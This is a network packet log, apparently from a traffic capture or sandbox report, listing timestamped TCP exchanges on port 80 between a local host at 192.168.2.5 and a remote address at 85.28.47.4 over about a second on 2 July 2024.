Jul 2, 2024 04:11:59.887829065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.887870073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887909889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892743111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892755032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892771006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892791986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892807961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892826080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892837048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892851114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892863989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892882109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892888069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892898083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892913103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.892919064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892949104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.892995119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893004894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893022060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893039942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893050909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893054008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893062115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893081903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893088102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893090963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893111944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893131971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893246889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893275976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893285036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893313885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893459082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893479109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893492937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893502951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893502951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893520117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893523932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893528938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893538952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893549919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893557072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893568993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893570900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893583059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893584967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893601894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893613100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893620968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893624067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893642902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893647909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893657923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893666983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893675089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.893683910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893702030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.893714905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894151926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894174099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894184113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894212961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894231081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894311905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894321918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894339085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894349098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894354105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894376040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894377947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894388914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894402027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894406080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894419909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894428968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894433975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894455910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894459009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894469976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894476891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894495964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894503117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894510031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894515991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894525051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894536018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894540071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894547939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894565105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894566059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894581079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894582033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894598007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894599915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894613981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894614935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894629002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894629955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894645929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894653082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894655943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894670963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894681931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894685030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894695997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894699097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894718885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894723892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894731045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.894742966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894754887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.894773006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.962399006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962413073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962431908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962445021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962460041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962466002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.962471008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962486029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962493896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.962505102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.962538004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.962552071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.968502998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968514919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968522072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968554020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968571901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968584061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968600035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.968622923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.968664885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975747108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975759029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975776911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975788116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975807905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975810051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975821972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975837946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975838900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975857973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975867033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975889921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975913048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975924015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975930929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975943089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975950956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975951910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975965977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.975972891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975986004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.975995064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976022005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976047039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976067066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976078987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976084948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976109028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976119041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976207972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976247072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976389885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976411104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976421118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976428032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976442099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976443052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976457119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976465940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976475954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976485968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976499081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976506948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976526976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976528883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976542950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976546049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976560116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976563931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976573944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976577997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976588011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.976593971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976613045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.976633072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977504015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977514029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977533102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977545977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977555037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977571011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977602005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977669954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977684021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977699041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977709055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977711916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977725029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977730989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977746010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977791071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.977966070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.977988958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.978038073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.978049994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.978084087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.978084087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.978173971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.978235960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.978317022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.978363037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.978369951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.978413105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982588053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982600927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982620001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982633114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982650042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982662916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982666969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982678890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982696056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982698917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982721090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982722044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982734919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982737064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982755899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982767105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982768059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982789993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982805967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982902050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982917070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.982950926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.982975960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983395100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983407021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983427048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983441114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983448029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983458996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983474016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983474970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983495951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983520985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983551979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983563900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983581066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983591080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983592033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983611107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983614922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983624935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983628035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983649015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983660936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983664036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983676910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983706951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983881950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983892918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983911037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983921051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983922958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983938932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983942986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983957052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.983958006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.983989000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984014988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984018087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984040976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984059095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984078884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984201908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984213114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984231949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984244108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984246016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984262943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984263897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984273911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984292984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984293938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984306097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984322071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984348059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984433889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984446049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984477043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984505892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984592915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984605074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984625101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984635115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984637976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984652042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984657049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984662056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984674931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984683037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984688044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984695911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984708071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984715939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984730005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984743118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984747887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984759092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984776020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984781981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984790087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.984797001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984813929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.984831095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.052222013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052253962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052273989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052285910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052305937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052318096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052335978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.052386999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.052419901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.058047056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.058130026 CEST	49704	80	192.168.2.5	85.28.47.4
